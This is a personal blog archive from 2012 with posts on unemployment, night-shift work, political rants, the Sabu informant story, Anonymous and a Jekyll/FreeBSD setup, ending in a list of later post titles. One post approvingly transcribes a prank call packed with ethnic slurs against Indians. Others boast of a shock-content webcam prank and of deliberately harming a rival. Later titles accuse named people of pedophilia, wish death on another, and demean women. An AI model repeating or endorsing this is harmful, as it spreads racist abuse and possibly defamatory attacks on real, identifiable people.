It seems as if things are finally leveling off. We’ve got lunatics in the White House who want to carpet-bomb Iran, take away our right to protest, but at least some corporations are wising up at least a little. Still, we have a long way to go. Obama is no sort of hope at all, even incendiary writing has him pegged pretty well. It looks like we’re working toward a gigantic goal of “nothing”. Everyone who has a job is working hard. Everyone seems to be struggling towards this single direction. The sad part is that this direction leads to nowhere. The Dems are going to ruin us. The Reps are going to ruin us. Who will swoop in and save the US? No one. No one at all.

Life isn't Passing Me By

Sat, 10 Mar 2012 08:19:00 +0000

Things are going really well. I have a (temporary) new job, zero time on my hands, and a crapload to do. Nonetheless, it’s easy to find the positive in my life because I have a lot of amazing people who care about and support me. I’ll always be grateful to the people in my life who matter.

The new job may only be temporary, but I have high hopes that it will become a permanent situation that I can count on for regular income- even if it isn’t the best of situations, any situation is better than zero income. I’m at least proving to be pretty good at it. I just wish I didn’t come home every day smelling like carbon dust. It could always be worse. I could come home smelling like fry oil.

Food For Thought (#Kony2012)

Fri, 09 Mar 2012 08:07:40 +0000

This keeps getting blasted everywhere, so I’ll link it up.

I find it funny that we’ve sent a thousand troops to Israel in preparation for raping Iran, and Obama sent a whole of 100 troops to Uganda to try and depose this sick bastard. I guess Islamophobia is spreading like flu. It’s sad, because it gets in the way of addressing serious concerns like the video above. It’s far easier to scare people with nuclear armaments than it is to get them to feel for other humans. At least, that’s what I gather from this.

Sabu: Hardcore FBI Informant

Tue, 06 Mar 2012 21:42:00 +0000

Sabu: FBI Informant

Foxnews
Sabu the Fed
Gawker (Adrien Chen, so beware validity)
Charges against Sabu - NY Post PDF of charges
Phone calls with Sabu
More attention-whoring by Chen

I think those links sum up the coverage of the “arrest” of Hector Monsegur a.k.a. Sabu. It’s been an interesting story- from the rise of LulzSec and the Fox and Sony hacks, all the way up until the end of summer. Now we’ve come to realize that Sabu never got “v&”, only because he was informing the entire time. Something tells me his life is going to be a little difficult for a while, as being an informant is not exactly the most well-liked occupation for a person to have. Note a few things, though. One, he was only “arrested”. He’s not serving hard time, not that I can see anywhere. He probably will get at most two years, and go on to making a ton of cash as a consultant. Who wouldn’t want him? Sure, he’s rogue as hell, but now he’s fingerprinted and exposed. The combine has him. He’ll never have an independent thought in his head again.

ZOMG!!!1!!one!!

Tue, 06 Mar 2012 08:29:45 +0000

I’m damned glad I’ve pulled away from a lot of what seems to be online drama whoring and idiocy. “Trolling”- thrown around a lot as an excuse for being butthurt and not having the coping skills to deal with it without throwing a fit like a little girl. “Hackers” seem to have the sorest tits I’ve seen, not having any social skills at all and pissing off people by the busload. It’s ridiculous, really. Do you actually think it’s acceptable to piss everyone off just because you’re in a position to? Just sad, really. Living in a basement or garage and having no flesh body to turn to, just pixels on a screen, thousands of miles away. I guess I’d need medication, too, if that sad existence were mine.

Busy, Busy, Busy

Mon, 05 Mar 2012 21:38:00 +0000

Working feels good. I fucking love being employed. I almost never like the tasks I’m charged with, but feeling like a productive member of society and enjoying the perks of this status is a deep requirement for me to feel like a whole person. It’s more than satisfying in a lot of ways, because being an adult is satisfying. No one tells you what to do, you simply commit to actions that will have the best outcomes for whatever it is you’re trying to achieve. I would never go back to being a kid, I don’t take adulthood for granted at all. Yes, it’s hard. It’s always hard, all the time. Sometimes to the point of making me feel like I’ll break under the pressure. But I’ve become accustomed to it, I use that pressure to feed into my actions and give me energy.

"Cybersecurity" Rant

Sat, 03 Mar 2012 05:23:00 +0000

This post is largely a reply to a blog post by x_ryujin_x on his blog.

First of all, the internet is an insanely useful tool whose value can’t be underestimated. Sure, the internet can transfer lots of interesting information at light speed. That’s incredibly helpful. However, there are many sad individuals who put far too much faith in the internet and rely solely on it for their livelihood, pretty much entirely. It’s important we take a step back and realize the full implications of “TANGO DOWN” in relation to the internet.

Redlegion's Tips for Working Midnights

Fri, 02 Mar 2012 09:21:00 +0000

I recently landed a job on third shift, and it’s the fourth time in my lifetime I’ve worked third shift. I’ve always hated third shift, but I’ve also come to respect the diehards who do it year after year. It’s tricky, and not always easy. The sun is your enemy. Summer is also a pain. There are a great many things that get in the way of sleeping all day after working all night. Here are a few tips I’ve gathered along the way.

JiZZy: Pakistan

Thu, 01 Mar 2012 18:09:00 +0000

I fucking love this prank call. It’s some of the funniest shit I’ve ever heard. This guy who goes by “JiZZy” calls AOL’s signup hotline and decides to have a little fun with the poor guy he gets connected to. Hilarity ensues:

Transcript

JiZZy: Hello?
AOL: Hallo?
AOL: (Clears throat)
JiZZy: Hello?
AOL: Yes sir, how can I help you?
J: I can hear you.
A: Yes?
J: Yes.
(Simultaneously) J: Are you American? A: How can I help you?
(J Slight First Simultaneous) J: Are you American A: Pardon Me?
(Simultaneously) J: Are you American? A: I am an Indian.
A: I am an Indian.
J: You are WHAT?
A: I am an Indian.
J: Well my name is
A: Yes?
J: My name is
J: My name is Enid Pakistan, and I come from Pakistan, and I want to know, um, if the America Online, and why it is being handled to the, um, dirty mud people of India. I am from Pakistan…
A:(Clears throat)
J: …I am a Pakistani.
A: Well,
J: (not clear)
A: You definitely show your akhat, excuse me, you definitey show your uh akhat by calling us uh here, you definitey show your akhat.
JiZZy: I dip my balls in the Ganges river.
A: Ok, dude, you want to speak now, you better be careful, if you do want to speak, just keep the phone down and get lost. Do you undertstand what I am saying dude? You are showing exactly who you are, from where you are. That’s what you are showing. That’s-That’s in your blood, so there is no suprise there, right?
J: You are threating me! We will launch nuclear missles at the Punjabi southern India! You are dirty mud person, I took a big shit in the river Ganges!
A: Okay, DUDE!, Just get lost. You take care. You have a nice day. Next time you just call it- Next time you just call us, you’re going to be in big trouble, okay? You better be careful.
J: I violate the corpses floating in the river Ganges.
A: And uh, just do one more thing, do one more thing, tell your mother all these things, she will definitely like it. Okay?
(Hiroshima-sized LOLity that JiZZy could not possibly hold back)
J: (Explodes in utter lolity for the next approximately 25 seconds)
Grog: What did he say?
JiZZy: Did you record that?
TehDely: YES!

Leap Year

Thu, 01 Mar 2012 07:51:00 +0000

Crazy. I didn’t even realize that yesterday was February 29th. I typically do notice when months do crazy things, like when they have extra days that they don’t typically see. I’m having trouble keeping my eyes open right now. I just got back from working all night, and my feet are ridiculously sore. I’ve consumed more caffeine in the last 18 hours than most people consume in a week. I’m starting to physically slow down. I can’t even get adequate sleep despite my exhaustion. Something will wake me up and I’ll find it impossible to go back to sleep. It’s not the light, my bedroom is really incredibly dark. It’s the noise, I think. The last time I did midnights I found the best results when I slept with earplugs in. But I also need to be able to wake up to an alarm clock. Tricky business, these third shifts. I’ll figure it out- or die trying.

Worn Down Already

Wed, 29 Feb 2012 21:51:00 +0000

I feel like a douchebag. I need to stop writing blog posts while drunk. Loose lips sink ships, and some opinions are best left unmuttered. I have a habit of opening my big damn mouth when the situation least calls for it. Not sure what the hell I can do about that except manage it and attempt to manage the fallout (which is typically inevitable). Ah well. In the very least, I can assure the five people who read this blog (including myself) that no one who is reading this doesn’t already know my opinions on things. Basically, if you’re reading this blog, you already knew I was going to write it before I did. In most cases, anyways.

Countdown to Disaster

Tue, 28 Feb 2012 17:06:00 +0000

My unemployment ran out this month. I’m flying solo, completely without any sort of safety net. If I can’t maintain some steady stream of income, it’s game over. I’ll lose my car and pretty much my only means of doing anything of importance at the moment. Luckily, I’m working at an industrial complex through a temp agency, but I’m not so sure this is going to turn out to be a regular thing. I’ve seen people who are in through a temp agency that have been there for four months, and they’re still temporary. I’m not sure if they just haven’t applied or what their situation is exactly. Either way, this temprary gig isn’t looking very promising.

And so it Begins

Sun, 26 Feb 2012 19:08:00 +0000

Tonight is the first night I start working again in over a year. I really think people have assumed I’m “on vacation”. That perhaps I’m not exactly “looking hard” for work or that I’m flat out not looking. The stark reality here is that the jobs simply don’t exist. It’s hard to see that unless you’re jobless and struggling, in which case you probably aren’t involving yourself with others all that much and you’re overly involved in your own search for gainful employment. No, I’ve been looking hard for a long time now, not just for jobs that pay the same rate I was making before- but anything. I applied to anything and everything that came my way. Any employer that claimed to be hiring. Anywhere, anyone, for anything- I applied and heard nothing back. I have more rejection emails than I can count. Barack Obama is being lauded now for adding jobs to a forlorn nation. The sad reality is that the jobs being added cannot sustain this country. The government is despotic, I’ve realized that sooner rather than later, and corporations are at the masthead.

Announcements

Fri, 24 Feb 2012 20:05:00 +0000

Just a couple things. First of all, I may have work lined up soon. Woo! Big hurdle crossed with that one, a lot of time and effort finally paying off. It’s only been a year since I’ve last had gainful employment. Here’s hoping I’m employed soon and from here on. Second, I’ve dumped my contracted cellular provider in favor of one of those cheap services that are typically associated with “burners”. It’s going to get me through the hard times, that’s all that really counts. I need a phone. I won’t have to go without. Lastly, if I get a job soon you shouldn’t expect my blog updates to be as rapidfire as they are now. Life is hectic enough without a job, it’s going to be far more so when I’m working again. I probably won’t want to touch this damn blog, despite the satisfaction I get from updating it. It’s quite possible that I’ll have the time but not the inclination. You never know.

FreeBSD 9.0

Wed, 22 Feb 2012 17:48:00 +0000

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I’ve been running FreeBSD 9.0 since it was released. Before that, I had been running FreeBSD 8.2. Before that, 8.0 and 7.2 prior. I really enjoy this OS. I think it comes from the enjoyment I got running Gentoo, however I learned most of what I did about POSIX environments thanks to Gentoo breaking all the time. It was definitely not an environment I could maintain. FreeBSD brings the Ports software distribution system to a stable BSD kernel. It’s my favorite operating system, even if I happen to suck somewhat at securing it. I’m still learning, and I’ll continue to learn as I go. The best part, to me, is that pretty much every problem you may encounter is almost readily solved with Google and log watching.

Delirium

Tue, 21 Feb 2012 19:15:00 +0000

I may or may not be drunk. We’ll get that out of the way first. I realize it’s only 7:15pm, but at least it’s not 8:00am. Nothing’s worse than being piss drunk in the morning, amirite? I dunno, I think every blog gets a drunk post once in a while, I might as well drunk-post. I’m not really that bad off, just a little tipsy. Losing weight has made me a lightweight, which is a little frustrating. I used to brag about being able to drink quite a bit before actually becoming inebriated. No more, as I’m drunk rather easily, and cheaply. Thankfully, I’m not drunk all the time. Once a month is probably the greatest frequency that I’ve been trashed, even in the worst of circumstances. I’m grateful that at least my ability to write isn’t severely hindered after a few drinks. I’d be frustrated if I couldn’t bang out a paragraph that’s readable.

Deadlines

Tue, 21 Feb 2012 13:29:00 +0000

The internet is a bizarre place. It seems to have consumed most of the social interaction we would generally take for granted before the era of Twitter and Facebook. While it did overpower certain roles, it still by no means adequately replaces them all. Job hunting is more painful now than it’s ever been. Job applications are typically riddled with questionaires that take an hour to complete while you typically find that the company won’t call you back. Things are desperate, and it’s not easily remedied. I’m going to be heading to Kinkos to run off at least twenty copies of my resume. I intend to drive everywhere within a twenty mile radius in the hunt for a job, because I have no choice. I’ve applied in person and online for over a year, and the only times I’ve ever been called back have usually involved applications in person, albeit they’ve been incredibly rare no matter what. Things are rough, and I don’t think it’s possible to understand unless you’re actually jobless and struggling. I forecast prostitution to rise significantly once most of the UIA benefits run out for our 10% unemployed. Drug sales and abuse will probably spike as well. All while Obamacare drains what’s left of a once-powerful healthcare empire that’s limping along with minimal staff and overpaid executives. I simply don’t see any plausible fixes in the near or distant future. We have a population that consists primarily of blue collar laborers, who are wholly unable to sustain themselves with blue collar jobs. Hell, I don’t know. Things just look bleak. Neither Obama nor some up-and-coming Republican are going to fix the immense problems we’re already experiencing. Don’t get me started on what’s to come. I just hope the government still has funds to subsidize soup kitchen centers, housing for the homeless, and other programs that will sustain 20% of the population in the next twenty years. If not, there will be many dead.

Exhaustion

Mon, 20 Feb 2012 13:07:00 +0000

I’m beginning to wonder if my name is on a blacklist somewhere, prohibiting me from being considered by other companies for employment. It’s starting to appear that way, what with my increasing frequency of applying to jobs. I can’t help but wonder if I’m going to be forced into abject poverty by lack of employment, as I’m already considering routes less traveled for income. Don’t know. One thing I do know is that a job is a precious thing in this current eonomic climate, and I wholly have no intention of telling people online where I’m working. I can’t let anything jeopardize my income, should the day come where I have income.

Additions, Tweaks, Changes

Sun, 19 Feb 2012 20:33:00 +0000

I might as well lay out what exactly this blog is running. It’s actually just ordinary lighttpd behind cloudflare, with jekyll handling content generation. I also ripped off Google’s own SWF-based mp3 player for streaming mp3’s. I’ve added a decent favicon and added @font-face to the jekyll theme I grabbed. I’m really enjoying the Amazon EC2 + Cloudflare + Jekyll combination. I even have jekyll installed on the EC2 instance serving these pages up, so content generation is as dynamic as I’d like it to be without having to worry about transferring many (if any) files. I enjoy this setup, and I can post blog entries from pretty much anywhere, given my current SSH setup. I can even blog from my phone if I really wanted to. Jekyll kicks ass. Amazon does as well. Blogging has never been so easy.

Chillaxed

Sun, 19 Feb 2012 13:09:00 +0000

I’m feeling pretty good right now. My arms and legs are sore, my abs are sore, and my body feels like I’ve just run a marathon, but damn do I feel good. Been taking these energy shots called “Dynapep”. They seem like they’re pretty bad for you, but boy do they get the job done. They also seem to increase libido some, which is probably not good for the survival of my genitals. In any case, though things look grim, I’m going to keep an eye out for opportunity and stay positive. Sometimes that’s all we have in life- the ability to smile even though everything is tumbling down around you. Of course, the Dynapep gives me enough of a rush that I don’t so much care, either. I’ll just keep going on.

Blogging All Damn Day

Sat, 18 Feb 2012 09:49:00 +0000

Thanks to Cloudflare and Amazon, I can just sit back and blog all damn day when I have nothing better to do. This is fairly entertaining. It keeps me busy, keeps my mind occupied. If I find myself frustrated, annoyed, or excited, I can express as much to a whole readership of ten people! Hooray!

Seriously though, I’ve learned a ton in the past year. I’ve learned a lot about FreeBSD, the internet, and the role the internet plays in the lives of people who spend most of their time on it. It amazes me that long distance communication can dominate lives over interpersonal interaction. I can’t imagine that. It seems like there would be a definite sincerity lacking to life if the only way you could communicate with someone was via text, voice, or video. It would have to be a motivator for suicide, at least in my perception. I can’t imagine living happily if you’re completely alone, surrounding yourself with online personas that don’t naturally or accurately reflect the people behind them. If you pass up genuine relationships for such things, you’re missing out not just on people, but life itself.

Public Apology to Barrett Brown

Sat, 18 Feb 2012 08:49:00 +0000

First of all, the situation was as such: I had the opportunity to screw over a certain person living in Florida, and I took it. I stepped on pretty much everyone’s toes to piss off one person that I didn’t deem fit for living. That taco-obsessed fruitcake knows who he is. I don’t apologize for that, because I think anyone and everyone would’ve done the same, and basically continue to do the same. That said, moving on.

Facebook Parenting for the Troubled Teen

Sat, 18 Feb 2012 08:12:00 +0000

Saw this video and loved it. I realize you’ve most likely already watched it before I’ve decided to post it. Still, it’s pretty classic. I can see doing thing myself some day, if necessary.

+1 to this guy.

Learning Awk

Fri, 17 Feb 2012 22:38:00 +0000

One of the most useful little tools for information parsing that I’ve used has to be awk. Specifically, awk will allow you to pipe text through it and use the printf() function to format text as you require it to be formatted. It also has a basic scripting language that lends further functionality, making it an ubiquitous tool in the POSIX arsenal. Need to format a list of US States for a Maruku table? Not a problem. Copy / Paste it into a text file and pipe it through this:

The Search Continues

Fri, 17 Feb 2012 17:41:00 +0000

I’ve heard back from one or two employers, I’m pursuing all leads. Hopefully something comes from all this effort, losing my car would really suck. In any case, I’m going to do what I have to do to survive. It’s just in my nature. It helps a ton to vomit random thoughts, feelings, and ideas into the ether. Having an outlet is important during times of stress. It allows you to regroup and think critically after your batteries have recharged, rather than limping along the entire time on “empty”. In any case, thanks for reading my rapid-fire garbage. I’ll leave you with some good stuff. Listen to the song below.

Shithead

Fri, 17 Feb 2012 17:17:00 +0000

Erm… Okay…

Is it me, or are modern dating videos just getting outright weird?

Nail Gun

Fri, 17 Feb 2012 14:32:00 +0000

This is fucking hilarious. Share the hell out of this.

http://youtu.be/SIHHi790ldE

The Future

Fri, 17 Feb 2012 14:17:00 +0000

I really don’t think people understand how things are going to play out now that we’re reaching and breaching the “Recession” portion of our downard spiral. It’s nearing “Depression”, and it might last a lot longer than four years, or even ten years. The last time this country entered a depression, it lasted ten years, and only rebound because FDR signed “The New Deal”. Social services to catch the fallen masses were put into effect to guarantee that during times of hardship, we would persist. I surmise that the next depression we’re due for can last no less than twenty years, being prolonged by the fact that we do have social services to catch people who are downtrodden. Until the New Deal had been signed and put into effect, we really had no idea what impact it would have on the long run. Being that it was large and important, we can safely assume the effect will be broad and far reaching. That said, this groundhog predicts a long line of bone-chilling winters for many US families. Quite a few, I believe, won’t live through the coming disaster. How the government react, however, could very well determine future economic catastrophies to come. I eagerly await their decision.

Anomolous

Fri, 17 Feb 2012 12:01:00 +0000

I’ve purposely kept myself out of the loop recently when it comes to the world of “Anonymous”. A movement that began with no clear intention or motive, degrading to a slogan to wear “For the lulz”, and spiraling into obsolecense; It’s something my life can do without. This will be my last post dedicated to the analysis of the Anonymous fad and it’s largest adherents.

Keep in mind that the hand that feeds will bite, and it will bite hard.
Anonymous membership has no dues, no fees, no banner or flag, and even the most immoral degenerates can claim the “momevement” for their own. That said, know what you’re getting yourself into when you don the Fawkes mask. Realize that cohorts can turn on you just as easily in this movement as they would without a common cause. I can’t tell you how many butthurt members have screeched “Not your personal army” until they themselves are subject to attack, and subsequently find themselves yelping and whining about their predicament.

Manycam Prank

Thu, 16 Feb 2012 10:51:00 +0000

I used to run Wordpress a while back, and on that Wordpress blog I posted one of the funniest Manycam pranks I’ve ever seen. Surprisingly, I was the one who did this. I had a habit of using 1-guy-1-jar for my pranks, and I’m pretty sure that’s what I was showing this guy. Epic stuff. Without further ado, my foray into making hate to people’s eyes (aside from wearing skimpy swimwear).

Manic Scramble

Wed, 15 Feb 2012 22:50:00 +0000

I don’t really have anything “World Important” to blog about today. What is important to me at the moment is securing any sort of employment at all that I can continue owning and operating a vehicle and at least living a little close to the lifestyle I’ve become accustomed to. I’ve been scrambling to apply to any and every job opening within a thirty mile radius. If anyone out there has any tips at all, they’re greatly appreciated.

Blogging Simplified

Tue, 14 Feb 2012 18:08:00 +0000

Jekyll is an excellent “simple, blog aware, static site generator”. It allows you to use special shorthand syntax like Textile, Maruku, or other markup syntaxes to quickly and easily generate static blog content. The resources available on the internet for using Jekyll to blog are downright plentiful, and the tool itself is incredibly flexible.

The first thing you’ll have to do is grab a Jekyll layout from a current Jekyll blog. They’re all over the place, and nearly every one I’ve seen has been excellent. Choose what looks good to you. The markup supported is so easy that you can manually edit each layout easily to make it suit your own requirements. You’ll also find a plethora of information on how to include Disqus and other features you may require for your blog. Make it as complex or simple as you please. The nice thing is that you’re less likely to experience server-side scripting problems, since the platform generates static HTML. No SQL or PHP locking down required. Just generate your content and you’re good to go.

Economic Musings

Tue, 14 Feb 2012 17:04:00 +0000

Democrat: (n.) A corporate slave.
Republican: (n.) A corporate slave.

I think we’re entirely missing the point when the discussion is turned to “Democrat Vs. Republican”. Citizens shouldn’t be forced into believing there are no alternatives. Life really isn’t “Black or White”, so why do so many feel that our government is exactly that? The answer is fairly simple; Corporations puppet both sides. When a Republican wins, corporations win. When a Democrat wins, corporations win. Eventually, if this government is going to be stabilized and sustained, it will require the creation and popularity of a third party- a party for the people. I believe this party should be explicitely barred from receving campaign contributions from non-individuals. The person chosen by this party as a presidential candidate should advocate balance in government, treating individuals as if they were more important than corporations. This is something that nearly everyone in government can readily admit does not happen often, if at all.

Unemployment Rates by State

Tue, 14 Feb 2012 16:43:00 +0000

I’ve blatantly ripped off a table of unemployment rates sorted from least to most. It’s a pretty handy moving guide for the time being.

Enjoy.

Rank	State	Rate
1	NORTH DAKOTA	3.3
2	NEBRASKA	4.1
3	SOUTH DAKOTA	4.2
4	NEW HAMPSHIRE	5.1
4	VERMONT	5.1
6	IOWA	5.6
7	MINNESOTA	5.7
8	WYOMING	5.8
9	UTAH	6.0
10	OKLAHOMA	6.1
11	VIRGINIA	6.2
12	KANSAS	6.3
13	HAWAII	6.6
13	NEW MEXICO	6.6
15	MARYLAND	6.7
16	LOUISIANA	6.8
16	MASSACHUSETTS	6.8
16	MONTANA	6.8
19	MAINE	7.0
20	WISCONSIN	7.1
21	ALASKA	7.3
22	DELAWARE	7.4
23	PENNSYLVANIA	7.6
24	ARKANSAS	7.7
25	TEXAS	7.8
26	COLORADO	7.9
26	WEST VIRGINIA	7.9
28	MISSOURI	8.0
28	NEW YORK	8.0
30	ALABAMA	8.1
30	OHIO	8.1
32	CONNECTICUT	8.2
33	IDAHO	8.4
34	WASHINGTON	8.5
35	ARIZONA	8.7
35	TENNESSEE	8.7
37	OREGON	8.9
38	INDIANA	9.0
38	NEW JERSEY	9.0
40	KENTUCKY	9.1
41	MICHIGAN	9.3
42	SOUTH CAROLINA	9.5
43	GEORGIA	9.7
44	ILLINOIS	9.8
45	FLORIDA	9.9
45	NORTH CAROLINA	9.9
47	DISTRICT OF COLUMBIA	10.4
47	MISSISSIPPI	10.4
49	RHODE ISLAND	10.8
50	CALIFORNIA	11.1
51	NEVADA	12.6

Taken from: http://www.bls.gov/web/laus/laumstrk.htm

Jekyll

Tue, 14 Feb 2012 13:38:00 +0000

I’ve completely fallen in love with Jekyll as a blogging platform. I might create a few more websites or write my own Jekyll template, depending on free time and my mood in the next two weeks. If I’m able to find employment that gives me a moment’s peace, I’ll definitely forge forward with the awesomeness that is a Jekyll tutorial, because I think everyone should get to know this stuff. It’s fun, flexible, and worth investing a little time to research. I’ll drop a link to it in another post some time today.

Frantic

Tue, 14 Feb 2012 01:00:00 +0000

If anyone happens to know where I can find an oasis of jobs, just drop me a line if possible. It appears that there really aren’t a whole lot of options out there. It’s getting a little frustrating, seeing as how I have bills and shortly will not have a means of paying them.

Anyway, any and all help available is greatly appreciated: redlegion@gmail.com. Thanks.

Complicated complications

Sun, 12 Feb 2012 21:00:00 +0000

Well, lack of funds has forced me to run more than I usually would from just one machine. I’m operating a few services on one cloud-based instance and I think it’ll get me through. It’ll be a gigantic pain in the ass to whitelist everything I need to for Cloudflare, but in the end I think it’ll pay off a great deal. It’ll keep the DDoS-happy kids away, at least.

Rebirth

Thu, 02 Feb 2012 17:00:00 +0000

I’m going to take up blogging again, occasionally anyway. I don’t see myself finding anything incredibly important to say. Still, I might as well exercise my right to voice opinions. That hasn’t yet been wrenched away from us. That said, expect a ton of retarded nonsense blog posts from yet another vehement ecclectic.

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Unexpected

The Resplendent Life

90 Day Rundown

Gino Palazzolo Deserves to Die Alone and Childless

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Insane World

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That's a Wrap

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Docker Compose Update

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Fucking Finally

Chicago Bound

Tuesday Morning

Long Weekend

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Generally

Long Hair Dont Care

Resume

Buckle Up

Place Title Here

BPD Really Is the Worst

More Borderline Behavior

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Rape Isn't a Dealbreaker

Lies and Manipulation

Typical BPD Behavior

Ice T Isn't Taking This Bullshit

Justin Lytton Is a Pedophile Cop

Fucking Cicada

Next Breakthrough

Religion

New Year; New Disasters

Live Rosin Ripoffs

Musk and Vivek Called You Retards

Belabored

Disappointment

Good Lord

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Borderline Bitch Gets What She Deserves (Tazed)

Exhausted

Lucid

Christian Zionism is Social Cancer

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Pointless

The Russian Government Is a Joke

Monsoon

Anhedonia